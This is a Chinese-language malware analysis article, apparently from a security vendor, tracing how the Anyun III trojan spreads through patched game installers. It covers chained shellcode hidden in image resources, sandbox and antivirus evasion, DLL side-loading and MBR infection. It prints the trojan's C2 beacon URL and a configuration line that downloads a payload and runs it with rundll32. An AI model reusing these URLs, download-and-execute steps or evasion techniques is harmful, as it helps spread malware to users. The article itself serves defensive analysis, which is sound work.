暗云Ⅲ木马传播感染分析

2017-06-12 423309人围观 ,发现 16 个不明物体 系统安全

背景:

通过对暗云Ⅲ木马持续追踪分析,腾讯电脑管家发现多个下载暗云Ⅲ木马的恶意程序。经详细分析,此类恶意程序通过对正常的“赤月传说”、“传奇霸业”等游戏微端进行patch,进而伪装成游戏通过各大下载站的下载器等多种传播渠道进行海量推广。

具体分析恶意“赤月传说”微端后,发现无论是patch方式,还是内部的shellcode,与暗云木马一致,也就是说可以确定,暗云木马的开发者与恶意游戏微端的开发者是同一伙人。

 1497086381(1).png

1.jpg

图1.传播暗云木马的恶意微端安装包及下载器

2.jpg

图2. 安装后的恶意文件

样本概况:

weblander.exe

md5:

***dea3605878631b8feeeb53bfb5b17

***94d7d60f560c0889cebcb5ab53c11

3.jpg

图3. 恶意木马签名

详细分析:

木马使用patch正常游戏微端的方式将shellcode捆绑到正常程序并添加数字签名后进行推广传播。如下图所示为第一个被patch位置。

4.jpg

图4. 第一个被patch文件位置,右侧为木马

5.jpg

图5. patch前的代码

6.jpg

图6. patch后的代码

修改其中的一个call到第一段shellcode位置,使得第一段shellcode1得以执行。

shellcode1行为:

如下图为第二个被patch位置,存放的是shellcode1,其功能是加载被替换的资源。该资源文件原本是一张png图片,木马将其替换成一张尾部附有大量shellcode的图片,木马加载资源后直接执行该shellcode,下面称其为shellcode2。此外,执行完一系列操作后,木马会继续回到原来的位置执行代码,以不影响微端的功能。

7.jpg

图7. 第二个被patch的文件位置

8.jpg

图8. 被patch处的反汇编代码

9.jpg

图9.被patch处的反汇编代码

10.jpg

图10. 资源中的图片尾部被附上数据

11.jpg

图11. 被附上数据的资源图片

12.jpg

图12. shellcode会加载资源,提取图片尾部的附加数据

shellcode2行为:

shellcode2的格式与暗云木马完全一致,均为获取RtlDecompressBuffer函数地址,并调用加压其后数据,得到新的shellcode3并调用。

13.jpg

图13. shellcode头部反汇编代码

14.jpg

图14. shellcode2代码,解压shellcode3

shellcode3行为:

shellcode3的功能是加载其后的内存PE1文件。

15.jpg

图15shellcode3代码,加载其后的PE

PE文件分析:

PE文件会对各种条件做判断,如果符合条件才会下载暗云Ⅲ感染程序到本地安装执行。这些条件包括:

1)安装包文件名格式,必须包含两个下划线和一个点,最后一个段是其推广渠道号

2)通过WMI查询磁盘名称,检测虚拟机

3)通过WMI查询进程列表,检测是否位于网吧

4)通过WMI检测杀毒软件

5)通过目录下的ini判断是否是第一次运行,只有第一次运行才会下载

条件判断合格后,将获取到的信息上传到云端,并从云端拉取配置信息:

http://c2tongji.b5156.com:89/stats.php?m=08-00-**-**-**-**&uid=b42be3fd-****-4338-****-d6fd64eb9576&hid=48DC0EC2&channelid=b108&p=9377_hyaz2a8_b108.exe&tick=26C717C1228272B9AC3A9E392CAD0721&pq=0&p3=0

该信息主要包括mac,硬盘序列号,用户id、取到号、文件名等。

拉到的配置信息为:

[Update] Version=2 Url=http://update.nj***.com:8089/config/LDrvSvc.zip CmdLine=rundll32.exe LDrvSvc.dll,RundllInstall Dir=%appdata%\LDrvSvc

随后进行下载,并通过rundll 调用其中的驱动人生的LDrvSvc.dll进行安装,该dll自带安装功能。

16.jpg

图16. 从ini文件中提取安装包文件名,从安装包文件名中提取渠道号等信息

 17.jpg

图17. 从ini文件里读取配置,确定是否是第一次运行

18.jpg

图18. 检测虚拟机

19.jpg

图19. 检测是否网吧环境

20.jpg

图20. 检测安全软件

21.jpg

图21. 上传mac、渠道号等信息

22-1.jpg

22-2.jpg

图22. 接收服务器返回的数据

执行完成后会继续启动游戏微端,用户完全无法察觉:

23.jpg

图23. 启动后的界面,可正常游戏

LDrvSvc.zip感染MBR过程分析

LDrvSvc.zip被解压后,rundll32调用ldrvsvc.dll执行安装,该dll是驱动人生的服务安装dll,能够把当前目录所有文件拷贝到参数指定的目录,并创建系统服务,启动ldrvsvc.dll。

样本概况:

24.jpg

图24. LDrvSvc.zip中的文件列表信息

详细分析:

ldrvsvc.dll启动后,会加载同目录下的DtlCrashCath.dll等支持库文件,而DtlCrashCath.dll文件则是被替换成木马文件,从而实现白加黑利用。

25.jpg

图25. 各个文件属性描述

启动:

LDrvSvc.dll服务被加载后会加载DtlCrashCatch.dll以及其他几个支持库文件。DtlCrashCatch.dll是被恶意patch过的文件。

第一个patch位置如下图,被patch成call 10001a64,进而执行到10001a64

26.jpg

图26.第一个被patch的文件位置

27.jpg

图27. 被patch处的代码

第二个patch位置为10001a64,其功能是加一个偏移跳转到下一个patch位置。

28.jpg

图28. 第二处被patch的文件位置

29.jpg

图29. 第二处被patch的文件位置

0x1000D4F4 + 0×11395 = 0x1001E889

第三个patch位置为一段shellcode1,其功能是解密指定尾部数据到一个共享内存,并执行解密后的shellcode2。

30.jpg

图30. shellcode1反汇编代码

31.jpg

图31. Patch前后文件对比

shellcode2的格式与暗云木马完全一致,均为获取RtlDecompressBuffer函数地址,并调用加压其后数据,得到新的shellcode3并调用。

32.jpg

图32.shellcode代码

shellcode3的功能是加载其后的内存PE1文件。

33.jpg

图33.shellcode代码

PE1文件行为:

PE1文件的功能为sleep3分钟后从云端下载配置文件,配置文件URL为:

http://www.2t**.com/upcfg.db,其格式与暗云配置文件相似,可确定为暗云作者开发。

34.jpg

图34. PE代码

35.jpg

图35. 从云端下载配置文件upcfg.db

下载完配置文件,进行解密,解密算法与暗云中解密配置文件的算法相同,解密后判断前4字节是否为0xA5A5A5A5,是的话调用其后的shellcode1。

36.jpg

图36. 解密配置文件,得到shellcode并执行

shellcode1功能是RtlDecompressBuffer其后的数据得到shellcode2,并调用。

37.jpg

图37.shellcode1行为

shellcode2的功能是内存展开其后的PE2文件。

38.jpg

图38. shellcode2代码,其功能是内存加载PE2

PE2文件行为:

进行暗云MBR感染。

39.jpg

*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM

这些评论亮了

  • 路人乙 回复
    这作者牛逼,一鱼三吃,不仅植入木马,顺带还挣 赤月传说 推广费和 驱动人生 推广费啊 人才
    )23( 亮了
  • testFT 回复
    大数字居然不杀!!!
    )12( 亮了
  • eval0day (4级) FB特约首席安全顾问 回复
    吴京:莫名背锅
    )6( 亮了
发表评论

已有 16 条评论

取消
Loading...
css.php